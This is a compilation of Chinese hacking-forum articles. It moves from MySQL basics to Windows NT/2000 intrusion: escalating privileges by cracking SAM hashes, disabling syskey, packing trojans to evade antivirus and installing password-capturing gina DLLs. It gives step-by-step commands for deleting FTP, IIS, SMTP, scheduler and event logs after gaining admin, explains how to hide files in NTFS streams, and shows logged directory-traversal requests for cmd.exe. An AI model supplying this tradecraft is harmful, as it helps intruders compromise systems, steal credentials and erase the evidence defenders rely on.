注意：你最好将文件复制到\\mysql\\bin目录下，并且要先用use命令打表所在的库。

五、备份数据库：（命令在DOS的\\mysql\\bin目录下执行）

mysqldump --opt school>school.bbb

注释:将数据库school备份到school.bbb文件，school.bbb是一个文本文件，文件名任取，打开看看你会有新发现。

后记：其实MYSQL的对数据库的操作与其它的SQL类数据库大同小异，您最好找本将SQL的书看看。我在这里只介绍一些基本的，其实我也就只懂这些了，呵呵。最好的MYSQL教程还是“晏子“译的“MYSQL中文参考手册“不仅免费每个相关网站都有下载，而且它是最权威的。可惜不是象\"PHP4中文手册\"那样是chm的格式，在查找函数命令的时候不太方便。


MySQL修改密码方法总结

首先要声明一点，大部分情况下，修改MySQL是需要有mysql里的root权限的，
所以一般用户无法更改密码，除非请求管理员。

方法一
使用phpmyadmin，这是最简单的了，修改mysql库的user表，
不过别忘了使用PASSWORD函数。

方法二
使用mysqladmin，这是前面声明的一个特例。
mysqladmin -u root -p password mypasswd
输入这个命令后，需要输入root的原密码，然后root的密码将改为mypasswd。
把命令里的root改为你的用户名，你就可以改你自己的密码了。
当然如果你的mysqladmin连接不上mysql server，或者你没有办法执行mysqladmin，
那么这种方法就是无效的。
而且mysqladmin无法把密码清空。

下面的方法都在mysql提示符下使用，且必须有mysql的root权限：
方法三
mysql> INSERT INTO mysql.user (Host,User,Password)
VALUES('%','jeffrey',PASSWORD('biscuit'));
mysql> FLUSH PRIVILEGES
确切地说这是在增加一个用户，用户名为jeffrey，密码为biscuit。
在《mysql中文参考手册》里有这个例子，所以我也就写出来了。
注意要使用PASSWORD函数，然后还要使用FLUSH PRIVILEGES。

方法四
和方法三一样，只是使用了REPLACE语句
mysql> REPLACE INTO mysql.user (Host,User,Password)
VALUES('%','jeffrey',PASSWORD('biscuit'));
mysql> FLUSH PRIVILEGES

方法五
使用SET PASSWORD语句，
mysql> SET PASSWORD FOR jeffrey@"%" = PASSWORD('biscuit');
你也必须使用PASSWORD()函数，
但是不需要使用FLUSH PRIVILEGES。

方法六
使用GRANT ... IDENTIFIED BY语句
mysql> GRANT USAGE ON *.* TO jeffrey@"%" IDENTIFIED BY 'biscuit';
这里PASSWORD()函数是不必要的，也不需要使用FLUSH PRIVILEGES。

注意： PASSWORD() [不是]以在Unix口令加密的同样方法施行口令加密。


NT/2000提升权限的方法小结

发信人：xundi（xundi），信区：网络安全
标题：NT/2000提升权限的方法的小结(1-8)
发信站：安全焦点（2001-04-26 10:32:21）
bingle

http://bingle_site.top263.net/
NT/2000提升权限的方法小结（1-8）

一般过程如下：

方法1：
拿他的%system%\repair\sam.*，然后回去用l0pht破解，只要能拿到，肯花时间，就一定可以破解。

问题：(1)你不一定可以访问该文件（看你的身份和人家的设置）；
(2)同时这个文件是上次备份时的帐号列表（也可能是第一次安装时的），以后更改帐号的话，就没用了。

方法2：
使用pwdump（l0pht自带的，2000下无效）或单独的pwdump2，取得本机当前的用户列表和口令加密列表，然后用l0pht破解这个列表。

问题：一般guests，使用unicode漏洞运行cmd时是IUSR_computer身份，guests组的，没有权限这样做。

（以上两种是离线的）

方法3：
使用enum等程序进行远程破解，猜口令。

问题：（1）如果对方设置了帐号锁定的话，你破解几次，该帐号就锁定了，不能再破解；
（2）对方要开放netbios连接，如果用firewall过滤了的话就不行了。

以上方法是破解而得密码的，还有直接把现有用户提升权限或者添加用户的。

方法4：
getadmin － nt4 、pipeupadmin －2000, 在本机运行可以把当前用户帐号加入admin组。

问题：（1）getadmin在sp4有补丁修复了，不能再用，当然后来又有getadmin的增强版本，不过也在sp6a下好像都不行。
（2）pipeupadmin 可以由guest成功运行，现在有补丁了

方法5：
win2000的net dde服务漏洞可以执行任意程序，可以借此更改密码、添加用户等。

问题：需要正式用户才能运行攻击程序，guest不行。

方法6：
win2000的输入法漏洞，可以本地执行程序提升权限，如果开放终端服务的话，远程也可以。

另外还有变通的方法。

方法7：
木马：上传木马，然后运行，下次重起动后，就是本地登录用户的权限了。很可能就是admin 。

问题：(1)杀毒软件可能阻止你的木马运行；
(2)有的木马好像在guests下不能运行，可能与他添加自动运行的方式有关；如没有权限向注册表的自动运行位置添加，不能写入%system%\system32目录（据我所知，一般的木马都改变文件名，然后写入系统目录，如果你没有这个写入权限，就不能执行了）。
如果那位能试验出结果，不妨提出来。

另外提一句，虽然ntshell不算什么木马，我的定位是远程控制，我在做他的添加自动运行时没有向系统目录进行拷贝，只是引用当前程序（或者可以指定的其他程序），因此system32没有写权限也可以，不过在所有添加自动运行的位置要有一个位置有写权限才行。

解决：(1)可以使用压缩程序将木马压缩，从而逃过杀毒软件的特征码；可以使用aspack试试，我曾成功压缩了一个逃过了金山毒霸正式版。不过也有的木马压不了，如冰河。

方法8：
gina、ginastub木马。虽然这个也叫木马，但是它的功能和上边一个大不一样，因为一般的木马是在对方安装一个server端，一旦运行就可以使用client端连接对server端进行操作。而ginastub一般只有一个dll，需要手工安装和卸载，他的功能也不是client端控制server端，它仅仅就是捕获登录密码。

问题：安装较麻烦，成功的可能性低，安装不当被安装的系统有不能启动的危险。具体使用方法可以看看我在ntshell里提供的一个gina例子的使用方法


NT2000 SAM脆弱的安全机制

windows NT及win2000中对用户帐户的安全管理使用了安全帐号管理器(security account manager)的机制,安全帐号管理器对帐号的管理是通过安全标识进行的，安全标识在帐号创建时就同时创建，一旦帐号被删除，安全标识也同时被删除。安全标识是唯一的，即使是相同的用户名，在每次创建时获得的安全标识都时完全不同的。因此，一旦某个帐号被删除，它的安全标识就不再存在了，即使用相同的用户名重建帐号，也会被赋予不同的安全标识，不会保留原来的权限。

安全账号管理器的具体表现就是%SystemRoot%\system32\config\sam文件。sam文件是windows NT的用户帐户数据库,所有NT用户的登录名及口令等相关信息都会保存在这个文件中。sam文件可以认为类似于unix系统中的passwd文件,不过没有这么直观明了。passwd使用的是存文本的格式保存信息，这是一个linux passwd文件内容的例子

0: root:8L7v6:0:0:root:/root:/bin/bash
1: bin:*:1:1:bin:/bin:
2: daemon:*:2:2:daemon:/sbin:
3: adm:*:3:4:adm:/var/adm:
4: lp:*:4:7:lp:/var/spool/lpd:
5: sync:*:5:0:sync:/sbin:/bin/sync
6: shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
7: halt:*:7:0:halt:/sbin:/sbin/halt
8: mail:*:8:12:mail:/var/spool/mail:
9: news:*:9:13:news:/var/spool/news:
10: uucp:*:10:14:uucp:/var/spool/uucp:
11: operator:*:11:0:operator:/root:
12: games:*:12:100:games:/usr/games:
13: gopher:*:13:30:gopher:/usr/lib/gopher-data:
14: ftp:*:14:50:FTP User:/home/ftp:
15: nobody:I0iJ.:99:99:Nobody:/home/httpd:/bin/bash
16: david:c6CuzM:500:500::/home/david:/bin/bash
17: dummy:fIVTl4IgU:501:503::/home/dummy:/bin/bash
18: msql:!!:502:504::/home/msql:/bin/bash
unix中的passwd文件中每一行都代表一个用户资料，每一个账号都有七部分资料,不同资料中使用":"分割格式如下
账号名称:密码:uid:gid:个人资料:用户目录:shell
除了密码是加密的以外(这里的密码部分已经shadow了)其他项目非常清楚明了。
而NT中就不是这样,虽然他也是用文件保存账号信息,不过如果我们用编辑器打开这些NT的sam文件，除了乱码什么也看不到。因为NT系统中将这些资料全部进行了加密处理，一般的编辑器是无法直接读取这些信息的。注册表中的
HKEY_LOCAL_MACHINE\SAM\SAM
HKEY_LOCAL_MACHINE\SECURITY\SAM
保存的就是SAM文件的内容，在正常设置下仅对system是可读写的。

*** NT的帐号信息在SAM文件中是如何存储的呢？***

在SAM文件中保存了两个不同的口令信息：LanManager（LM）口令散列算法和更加强大的加密NT版。LM就是NT口令文件的弱点。我们来看看LM口令算法是如何加密口令的，考虑这样一个口令：Ba01cK28tr,这样的口令已经可以称的上是一个安全的口令了，虽然没有!#等特殊字符，但是已经包含大写字母，小写字母和数字，并且具有无规律性。可以认为是符合安全的要求的一个口令。
LM对口令的处理方法是：如果口令不足14位，就用0把口令补足14位，并把所有的字母转称大写字母。之后将处理后的口令分成两组数字，每组是7位。刚才我们所提到的口令经处理后就变成BA01CK2和8TR0000部分。然后由这两个7位的数字分别生成8位的DES KEY，每一个8位的DES KEY都使用一个魔法数字(将0x4B47532140232425用全是1的一个KEY进行加密获得的)再进行一次加密，将两组加密完后的字符串连在一起，这就是最终的口令散列。这个字符传看起来是个整体，但是象L0phtcrack这样的破解软件，他能将口令字符串的两部分独立的破解，因此，破解上面所提到口令(10位)，由于口令已经被分解为两部分破解，而后面的那部分口令由于只有3位，破解难度可想而知并不困难。实际的难度就在前面的七位口令上了。因此就NT而言，一个10位的口令与一个7位的口令相比并没有太高的安全意义。由此还可以了解：1234567*$#这样的口令可能还不如SHic6这样的口令安全。(关于如何设置安全口令的问题不是本文的范围，有兴趣的可以参考相关文章)
而正式的口令(加密NT版)是将用户的口令转换成unicode编码，然后使用MD4算法将口令加密。

NT之所以保留两种不同版本的口令是由于历史原因造成的，在一个纯NT的环境中应该将LAN manager口令关闭。因为LAN manager口令使用了较弱的DES密钥和算法，比较容易破解。相比较之下，使用较强加密算法的NT正式口令要安全些。
但是这两种口令的加密方法从总体上来说强度还是不足，因此，微软在win NT4的SP3之和以后的补丁中，提供了一个syskey.exe的小工具来进一步加强NT的口令。这个软件是可以选择使用的，管理员只要运行一下这个程序并回答一些设置问题就可以添加这项增强功能。(windows2000已经作为缺省安装设置了)
syskey被设计用来防止轻易获得SAM口令，它是如何工作的呢？
当syskey被激活，口令信息在存入注册表之前还进行了一次加密处理。然而,在机器启动后，一个旧的格式的信息还是会保存在内存中，，因为这个旧格式的口令信息是进行网络验证的所需要的。
可以这样认为:syskey使用了一种方法将口令信息搞乱。或者说使用了一个密钥，这个密钥是激活syskey由用户选择保存位置的。这个密钥可以保存在软盘，或者在启动时由用户生成(通过用户输入的口令生成)，又或者直接保存在注册表中。由于没有官方的正式技术说明如何关闭syskey，所以syskey一旦启用就无非关闭，除非用启用syskey之前的注册表备份恢复注册表。

*** 将syskey激活后系统有什么发生了什么，如何关掉syskey呢?***

-1-

将syskey激活后，在注册表HKLM\System\CurrentControlSet\Control\Lsa下被添加了新的键值'SecureBoot'中保存了syskey的设置：
1 - KEY保存在注册表中
2 - KEY由用户登录时输入的口令生成
3 - KEY保存在软盘中
但是把主键删除或者把值设成0并没能将syskey关闭，看来还有其他的地方......

-2-
HKLM\SAM\Domains\Account\F 是一个二进制的结构，通常保存着计算机的SID和其他的描述信息。当syskey被激活后，其中的内容就变大了(大小大约是原来的两倍) 增加的部分估计是加密的KEY+一些标记和其他的数值,这些标记和数值中一定有一部分包括 SecureBoot 相同的内容。所以，在NT4(已安装SP6补丁包)将这些标记位设为0可能就可以关闭syskey了。在改变这些设置时系统给出了一个错误提示说明SAM和系统设置相互冲突，但是在重新启动计算机后，系统已经不再使用syskey了。

-3-
再win2000中还有另一个地方还存储着关于syskey的信息
HKLM\security\Policy\PolSecretEncryptionKey\
这也是一个二进制的结构，也是使用同样的存储方式，将这里相应部分同样设为0,syskey就已经从win2000中移除了。(如果这三部分修改出现错误(不一致)，系统会在下次启动是自动恢复为默认值)

-4-
， 然后就是口令信息部分。旧的口令信息是长度是16字节，但使用syskey后长度全部被增加到20字节。其中头四个字节看起来想是某种计数器，可能是历史使用记录计数器。奇怪的是，当syskey被激活时，他并不立即记录，而是在系统下次启动时才记录。而且，当密钥被改变时，口令信息似乎并没有相应更新


NT/2000下删日志的方法

写篇简单易懂的文章给大家看,其实有很多工具都有这个功能,但那些软件只能删些默认 的,而且可能会删不了,真正的还是要靠自己手工删了.文章可能有错误,请指教,此文也参 考了gouy2k的一篇文章,同时配合实例讲解. Windows2000的日志文件通常有应用程序日志，安全日志、系统日志、smtp服务器日志, DNS服务器日志、FTP日志、WWW日志等等，可能会根据服务器所开启的服务不同而有所不 同。还有一些网络管理软件的日志，说到这里，记得新浪的网管软件是自己开发的，如 果不了解这个，可能会留下更多的记录。 这次只谈清除FTP。IIS应用程序日志，smtp服务器日志,系统日志这些一般日志的命令行 下的删除方法.
(1) Scheduler日志
Scheduler服务日志默认位置：2000下: %sys temroot%\schedlgu.txt NTworkstation下
为 SchedLog.txt
可以打开schedlgu.txt
Schedluler服务日志在注册表中
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SchedulingAgent
先停掉他 net stop "task scheduler" (注意不停是删不掉的)
然后再 del schedlgu.txt 或 schedlog.txt之后就OK了.
del sched*.txt
不过你如果不想删他,也可以改改它. 他的内容是这样的:
" "任务计划程序服务"
已退出于 01-5-22 20:37:34
"任务计划程序服务"
已启动于 01-5-25 7:07:37
"任务计划程序服务"
已启动于 01-5-25 7:26:36
"任务计划程序服务"
已退出于 01-5-25 8:47:54 "
很好改的.
(2) FTP日志
Internet信息服务FTP日志默认位置：%sys temroot%\sys tem32\logfiles\msftpsvc1\ ，默认每天一个日志.
格式是这样的 ex*.log .
注意这是一台NT4的LOGFILES下的文件:
这台服务器下管理有多个HTTP或FTP站点
c:\winnt\sys tem32\logfiles 的目录
00-12-04 06:28p .
00-12-04 06:28p ..
01-05-18 12:56p MSFTPSVC1
01-04-23 11:28a MSFTPSVC2
01-01-12 11:56a MSFTPSVC3
01-06-01 08:12a SMTPSVC1
01-09-20 08:55a W3SVC1
01-08-02 10:36a W3SVC10
01-10-11 04:48p W3SVC11
01-07-11 09:16a W3SVC2
01-10-11 10:31a W3SVC3
01-10-10 04:55p W3SVC4
01-09-28 01:43p W3SVC5
01-10-11 08:44a W3SVC6
01-10-11 08:00a W3SVC7
01-09-30 01:49p W3SVC8
01-10-11 08:03a W3SVC9
看看日志文件的格式:
c:\winnt\sys tem32\logfiles\msftpsvc1\in010306.log
192.168.5.8, anonymous, 01-3-6, 16:41:51, MSFTPSVC1, APPSERVER, 192.168.5.8, 0, 0, 0, 331, 0, [3]USER, anonymous, -, 192.168.5.8, -, 01-3-6, 16:41:51, MSFTPSVC1, APPSERVER, 192.168.5.8, 0, 0, 0 , 53 0, 1326, [3]PASS, IE30User@, -,
关于LOG文件的含意我就不解释了,浪费时间,嘿嘿.
法一:> 这个时侯 net stop msftpsvc 停掉后台服务.
然后尽管 del ............
看这删吧,不要删的过火,把当天的删了就行. 别忘了再NET START MSFTPSVC 把服务打开
.
法二:> 当然你如果还想更好,那就改改日志,可以改了系统时间后再改日志,只把你的清 了,别忘了把时间改回来哦 实际上在得到ADMIN权限后,做这些事很容易.
法三:) 最傻瓜的清FTP日志的方法, cleaniislog 小蓉写的工具,不用我再教了吧!
(3) WWW日志
Internet信息服务WWW日志默认位置：%sys temroot%\sys tem32\logfiles\w3svc1\，默 认每天一个日志 注意这是一台NT4的LOGFILES下的文件:
这台服务器下管理有多个HTTP或FTP站点
c:\winnt\sys tem32\logfiles 的目录
00-12-04 06:28p .
00-12-04 06:28p ..
01-05-18 12:56p MSFTPSVC1
01-04-23 11:28a MSFTPSVC2
01-01-12 11:56a MSFTPSVC3
01-06-01 08:12a SMTPSVC1
01-09-20 08:55a W3SVC1
01-08-02 10:36a W3SVC10
01-10-11 04:48p W3SVC11
01-07-11 09:16a W3SVC2
01-10-11 10:31a W3SVC3
01-10-10 04:55p W3SVC4
01-09-28 01:43p W3SVC5
01-10-11 08:44a W3SVC6
01-10-11 08:00a W3SVC7
01-09-30 01:49p W3SVC8
01-10-11 08:03a W3SVC9
w3svc1 下的文件:
01-09-18 08:00a 70,918 ex010917.log
01-09-19 08:00a 3,243,955 ex010918.log
01-09-19 10:25p 2,686,976 ex010919.log
01-09-20 10:00a 327,680 ex010920.log
此时看看文件内容: type c:\winnt\sys tem32\logfiles\w3svc1\ex010920.log
01:26:17 127.74.36.149 GET /c/winnt/sys tem32/cmd.exe 404
01:26:17 127.37.88.60 GET /_vti_bin/..%5c../..%5c../..%5c../winnt/sys tem32/
cmd.e
xe 404
01:26:17 127.208.246.13 GET /d/winnt/sys tem32/cmd.exe 404
01:26:17 127.74.36.149 GET /d/winnt/sys tem32/cmd.exe 404
01:26:17 127.37.88.60 GET /_mem_bin/..%5c../..%5c../..%5c../winnt/sys tem32/
cmd.e
xe 404
01:26:17 127.208.246.13 GET /scripts/..%5c../winnt/sys tem32/cmd.exe 403
01:26:17 127.74.36.149 GET /scripts/..%5c../winnt/sys tem32/cmd.exe 403
01:26:17 127.208.246.13 GET /_vti_bin/..%5c../..%5c../..%5c../winnt/sys tem3
2/cmd
.exe 404
01:26:17 127.74.36.149 GET /_vti_bin/..%5c../..%5c../..%5c../winnt/sys tem32
/cmd.
exe 404
01:26:17 127.208.246.13 GET /_mem_bin/..%5c../..%5c../..%5c../winnt/sys tem3
2/cmd
.exe 404
01:26:17 127.74.36.149 GET /_mem_bin/..%5c../..%5c../..%5c../winnt/sys tem32
/cmd.
......................
shit ,全是CGI漏洞的扫描
法一:> 这个时侯 net stop w3svc 停掉后台服务.
然后尽管 del ............
看这删吧,不要删的过火,把当天的删了就行. 别忘了再NET START w3svc 把服务打开.
法二:> 当然你如果还想更好,那就改改日志,可以改了系统时间后再改日志,只把你的清
了,别忘了把时间改 回来哦 实际上在得到ADMIN权限后,做这些事很容易.
法三:) 最傻瓜的清FTP日志的方法, cleaniislog 小蓉写的工具.
(4) SMTP日志
smtp服务日志默认位置：%sys temroot%\sys tem32\logfiles\smtpsvc1\
目录:
01-06-01 08:12a SMTPSVC1
该目录下的文件行式:
01-05-15 12:21a 371 ex010513.log
01-05-16 03:52a 257 ex010514.log
01-05-16 09:09a 182 ex010515.log
01-05-17 04:14p 893 ex010516.log
01-05-18 09:22a 263 ex010517.log
01-05-21 09:09a 293 ex010518.log
01-06-01 08:12a 8,222 ex010531.log
01-06-05 01:37p 3,099 ex010601.log
该文件ex010601.log的内容:
00:58:24 202.104.112.168 QUIT - 0
00:58:30 202.104.112.168 MAIL FROM - 250
00:58:30 202.104.112.168 RCPT TO - 250
00:58:30 202.104.112.168 MAIL FROM - 250
00:58:30 202.104.112.168 RCPT TO - 250
00:58:30 202.104.112.168 QUIT - 0
00:59:51 202.104.112.168 MAIL FROM - 250
00:59:51 202.104.112.168 RCPT TO - 250
00:59:54 202.104.112.168 QUIT - 0
关于LOG文件的含意我就不解释了,浪费时间,嘿嘿.
删除方法:
法一:> 此时可以 net stop smtpsvc
再 del .............
别忘了 net start smtpsvc
当然改文件内容也是可以的喽!
(5) eventlog日志文件
它包含: 安全日志
统日志
应用程序日志
题外话: 看看应用程序日志,觉得记录得很详细.
象这样: 外壳意外停止并且Explorer.exe被重新启动。
Detection of product '{00000804-78E1-11D2-B60F-006097C998E7}', feature 'TCWo rd2Files' failed during request for component '' 它是关键服务。如果不用第三方工具，在命令行上几乎没有删除安全日志和系统日志的 可能,(至少我还没想 出来)所以还是得用虽然简单但是速度慢得死机的办法：打开“控制面板”的“管理工具 ”中的 “事件查看器” (98没有，知道用Win2k的好处了吧)，在菜单的“操作”项有一个名为“连接到另一台 计算机”的菜单，点击它： 输入远程计算机的IP，等,然后选择远程计算机的安全性日志，右键选择它的属性,点击 属性里的“清除日志” 按钮，等啊等啊等.......OK！安全日志清除完毕！同样的忍受痛苦去清除系统日志！

原作者：未知


NTCMD.EXE做了什么？

当大家用流光发现一个空口令的administrator账户时，自然马上就会用
流光带的NTCMD.EXE在远程机器上执行命令。但是，大家有没有想过，到底
我们是怎样在远程机器上执行口令的呢？NTCMD.EXE都作了什么？
NTCMD.EXE是一个console程序，执行的语法如下：
ntcmd \\IP -U:username -P:password
但其实ntcmd只是一个前台程序，他所作的是以如下格式：
pipecmd.exe \\IP -U:username -P:password commadn-you-inputed
去执行程序pipecmd.exe来完成具体的任务.每次我们在 ntcmd>提示符
下输入一个命令（除了exit,bye),ntcmd.exe都会执行pipecmd.exe一次。
那么pipecmd.exe是怎么在远程机器上执行一条命令的呢？是不是NT下有一种
机制，你在登陆后可以向远程NT系统发一条命令，对方NT就会执行这条命令，然后
将结果反馈给你。我不知道NT下是否有这样一种方法，但pipecmd.exe不是
这么实现的。那么，pipecmd.exe使用什么方法在远程机器上执行命令的呢？
pipecmd.exe启动后，首先用用户输入的IP地址，用户名和口令调用
函数WNetAddConnection2 来和 \\IP\ADMIN$ 资源建立连接，然后再用
同样的方法和 \\IP\IPC$ 建立连接。如果失败的话，就报错退出。
我们知道\\IP\ADMIN$ 代表对方机器的 \WINNT 目录，而\\IP\IPC$是一种
远程登陆机制，当和\\IP\IPC$建立连接后，就可以对远程机器做一些事了。
在成功连接 \IPC$和\ADMIN$后，pipecmd.exe就会调用函数
WaitNamedPipe 尝试和 \\IP\pipe\PipeCmd_communicaton 这个远程机器
上的命名管道建立连接。这里要问了，远程机器怎么会有这个命名管道
等着你来连接的呢？现在我们假设无法和\\IP\pipe\PipeCmd_communicaton
建立连接，这是后pipecmd.exe该怎么办呢，当然不是报错退出了。
pipecmd.exe会调用FindResource, LoadResource等一系列WIN32的资源
管理函数去读取他的一个名�"PipeCmdSrv"的二进制资源。这个资源是什么？
他就是我们在远程机器上执行命令的幕后英雄阿。他其实是一个console
程序，它不同于一般的console程序的是，他是一个 SERVICE 程序。
大家可以用VC把pipecmd.exe里的PipeCmdSrv资源export为pipecmdsrv.exe
然后执行他，他会报告"This is a service executable! couldn't start directly!"
pipecmd.exe在读取了piepcmdsrv资源后，会调用函数CreateFile
在远程机器上创建文件:\\IP\ADMIN$\System32\PipeCmdSrv.exe
然后调用一系列Win32的SERVICE控制函数，在远程机器上安装和启动服务
PipeCmdSrv,说白了就是在远程机器上执行PipeCmdSrv.exe(虽然不太准确）。
而PipeCmdSrv服务就会在远程机器上创建
\\IP\pipe\PipeCmd_communicaton
\\IP\pipe\PipeCmd_stdoutXXXYYY
\\IP\pipe\PipeCmd_stdinXXXYYY
\\IP\pipe\PipeCmd_stderrXXXXYYY
四个命名管道。这里XXX是你的机器的名字，YYY是一个数字。呵呵，原来你的机器
名字也随着PipeCmdSrv到对方机器了，这可不太安全阿。
好了，现在pipecmd.exe再次和\\IP\pipe\PipeCmd_communicaton连接，连上后
就将用户输入的命令原封不动(比如 dir c:\)通过这个管道发给对方机器上的PipeCmdSrv服务。PipeCmdSrv服务收到这条命令后就会在对方机器上执行这条命令。我想
PipeCmdSrv可能是通过一个重定向输入输出cmd.exe来执行这条命令的。
执行后，PipeCmd可以通过管道\\IP\pipe\PipeCmd_stdoutXXXYYY来
读取输出，如果这个命令是交互式的话,比如telnet xxx.xxx.xxx.xxx
PipeCmd.exe还会通过\\IP\pipe\PipeCmd_stdinXXXYYY来将用户的输入
发给PipeCmdSrv,我想一定是重定向给cmd.exe的。这就是
ntcmd.exe -> pipecmd.exe <--> pipecmdsrv.exe在远程机器上执行
命令的秘密。
最后说两句：写这篇文章没有别的意思，只是想到如果真的想做什么客的话，
仅仅会使用工具是远远不够的，不但要会使用，还要知道这些工具做了些什么，
是怎么完成这些工作的，最终还要会编写自己的工具。我想很多流光系列
的使用者其实都很想知道流光里的这些功能到底是怎么实现的，比如ntcmd.exe,
比如sqlrcmd.exe,比如remotenc.exe等等。软件不可以随便共享，但知识
确实一定要共享的，我想小榕其实也不反对将流光的一些实现方法共享，只是
这些实现方法的层次比较低，小榕不一定有时间写这方面的文章。
那就由我们这些有时间的人来写吧，希望大家不会把我和给流光打IP补丁
的人等同，那我可就冤死了。。。。。。。。。。。。。。。。。。


NTFS下一种隐藏颇深的文件存取格式

By Adam, joyadam@263.net
<http://www.nsfocus.com/>

在NT下使用NTFS存取当然是必要的,但是,在这个机制下的还有一种文件鲜为人知的存取格式你熟悉吗?

我叫他文件流(File streams)，在微软的站点上几乎找不到相关的资料（也可能是我不会找而已）
我是怎么发现这个东西的呢，呵呵，很偶然的因素
你也可以根据我的方法找到文件流（注意：一定要是NTFS文件系统）

Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-1998 Microsoft Corp.

C:\>cd test

C:\test>dir
驱动器 C 中的卷没有标签。
卷的序列号是 588F-38D2

C:\test 的目录

2000-03-30 18:15 <DIR> .
2000-03-30 18:15 <DIR> ..
2000-03-30 18:15 3 adam.txt
1 个文件 3 字节
2 个目录 788,922,368 可用字节

C:\test>notepad adam.txt:IloveAdam
[这个时候，会提示你创建一个新文件，click yes then 开始输入，然后存盘退出。]

C:\test>dir
驱动器 C 中的卷没有标签。
卷的序列号是 588F-38D2

C:\test 的目录

2000-03-30 18:15 <DIR> .
2000-03-30 18:15 <DIR> ..
2000-03-30 18:16 3 adam.txt
1 个文件 3 字节
2 个目录 788,922,368 可用字节
通过dir没有发现这个建立的adam.txt:IloveAdam，而且磁盘的空间大小也没有发生变化
你也许会认为刚才什么都没有作，但是请看下面：

C:\test>notepad adam.txt:IloveAdam
【是不是你刚才敲的东西啊？】
如果冒号前面的文件不存在，我直接创建一个文件流呢？

C:\test>dir
驱动器 C 中的卷没有标签。
卷的序列号是 588F-38D2

C:\test 的目录

2000-03-30 18:21 <DIR> .
2000-03-30 18:21 <DIR> ..
2000-03-30 18:16 3 adam.txt
1 个文件 3 字节
2 个目录 788,922,368 可用字节

C:\test>notepad adamtest:123

C:\test>dir
驱动器 C 中的卷没有标签。
卷的序列号是 588F-38D2

C:\test 的目录

2000-03-30 18:21 <DIR> .
2000-03-30 18:21 <DIR> ..
2000-03-30 18:16 3 adam.txt
2000-03-30 18:21 0 adamtest
2 个文件 3 字节
2 个目录 789,184,512 可用字节
实际上这个里面已经有了一个文件流adamtest:123
然后我们再来看看如果存在目录以后然后再玩玩文件流
C:\test>dir
驱动器 C 中的卷没有标签。
卷的序列号是 588F-38D2

C:\test 的目录

2000-03-30 18:29 <DIR> .
2000-03-30 18:29 <DIR> ..
2000-03-30 18:26 <DIR> adam
0 个文件 0 字节
3 个目录 788,922,368 可用字节

C:\test>notepad adam:123

C:\test>dir
驱动器 C 中的卷没有标签。
卷的序列号是 588F-38D2

C:\test 的目录

2000-03-30 18:29 <DIR> .
2000-03-30 18:29 <DIR> ..
2000-03-30 18:26 <DIR> adam
0 个文件 0 字节
3 个目录 789,184,512 可用字节

哈哈，你现在知道我研究这个东西的目的了吧！
也就是我可以在你的硬盘上建立c:\winnt\system:adam,c:\winnt\system32:adam
而且你永远也找不着！
命令行方式下看不到，资源管理器也看不到

问：能不能放2进制文件呢？
答：你自己去试吧，写病毒、写木马的大哥自己去玩玩吧，其实业也好分析的，因为微软有一个工具，可以实时检测你调用的 dll ，你打开这个monitor，然后一步一步走，你就会发现他怎么做的！

哈哈，写程序我不行，灌水我在行！该怎么玩自己去想吧！有结果可以mail to joyadam@263.net一起探讨探讨！Your Are Welcome！


NT安全指南

WINDOWS NT WARDOC中文译本-译者序
==============================================================================

象生活中经常会自觉惭愧一样，敲“译者序”三个字的时候并非如将盗版光盘插入自
己的CD-ROM一样心安理得。译者不是我，是一位对网络并无多大兴趣（或者有我不了解也
未可知）的文静女孩。交给我译稿时她悄悄问我，是不是看懂了这篇文章就可以做Hacker
了？

翻译此文的初衷是因为自觉为一篇好的技术文章，仅此而已。

最希望此译文能被对网络安全感兴趣的中国少年阅读、试验，如果他或她刚好不那么
精通英文，又刚好通过译文能够有所启发，那我就太安慰了。

考虑过应该将本文放在哪个版，最终决定是因为本文是针对NT操作系统的，也希望大
家能够多些关注NT、Microsoft以及他们背后的新生代野心家。野心家的心理是有缺陷的
正如他们制造出的软件产品有缺陷一样。对待野心家我们除了大声疾呼之外更应该踏实地
坐下来摸索、实践和创造真理。

需要英文原创的用户可访问：

http://www.hackersclub.com/km/library/hack99/wardoc.txt

欢迎大家收录和转载本文，唯一的请求同样是保持完整性。如果您发现翻译错误请通
过站内邮件系统和我联系。

文章较长正在审稿，我将会尽量连续地贴在本版。

再次对多日面对枯燥文稿的文静女孩表示谢意。

flaw.
flaw@21cn.com

WINDOWS NT WARDOC
NEONSURGE与RHIN09研究小组关于远程NT渗透方法的研究报告

简介：
==============================================================================

本文是Rhino9小组为证明在攻击基于NT的网络时所采用的方法而编写的。目的是加强
管理员和安全专业人士对攻击者的心理以及目前NT渗透方法的认识。本文是Dan Farmer和
Wietse Venema所著的“如何通过侵入站点来提高站点的安全性（How To Improve The Se
curity Of Your Site by Breaking Into It） ”一文的姊妹篇。

显而易见，本文不包含所有有关NT网络渗透的方法。我们把有关内容编写成一篇文
章，使管理员能够通过它来掌握基本的渗透方法，从而对各自网络的脆弱性进行测试。如
果彻底消化了本文中所涉及到的概念和方法，管理员就能掌握有关渗透如何发生的基础知
识，并能利用这些知识更有效地保护他们的网络。

本文不适合那些对安全性、NT或连网技术一无所知的人士阅读。作者认为，本文读者
应该对协议、服务器技术和网络体系结构有一定的了解。
作者希望继续对本文进行进一步扩充并发布更新版本。在此，我们衷心地希望所有愿
意为这一研究课题作出贡献的人士把有关渗透测试方法的详细资料寄给我们。我们将把这
些资料作为最新的可靠来源，以便于及时发布本文档的更新版本。

请将您的资料寄至：neonsurge@hotmail.com。

如果您提交的资料的确有价值，我们会及时把它整理到文档中，并给予您适当的稿
酬。

使用
==============================================================================

本文是按照程序上的方式编写的。我们在编写过程中力求使本文更象是网络入侵者真
正采取网络渗透方法侵入网络。一旦理解了怎样做以及为什么这样做，您就能轻松自如地
实现本文中所探讨的各种渗透方法。

本文共分三个章节：NetBIOS、Web服务器及其它。各章节都对不同的信息收集与渗透
方法进行了说明。

通过NETBIOS实现信息收集与渗透
==============================================================================

网络入侵者通常采取的第一步是通过端口扫描程序扫描目标机或网络。令人吃惊的
是，以目标机的开放端口为基础对网络进行的攻击是多么的有条不紊。您应该清楚，除了
Unix机外，这是NT机显示不同开放端口的标准。网络入侵者懂得查看端口扫描程序，并通
过相当准确的结果来断定它是一台NT机还是一台Unix机。当然也有一些例外，但一般情况
下都能这样做。最近，业界发布了几个用来远程鉴别机器的工具，但该功能目前还不能用
于NT。

当攻击基于NT的网络时，NetBIOS往往是首选的攻击对象。因此，NetBIOS就成为本文
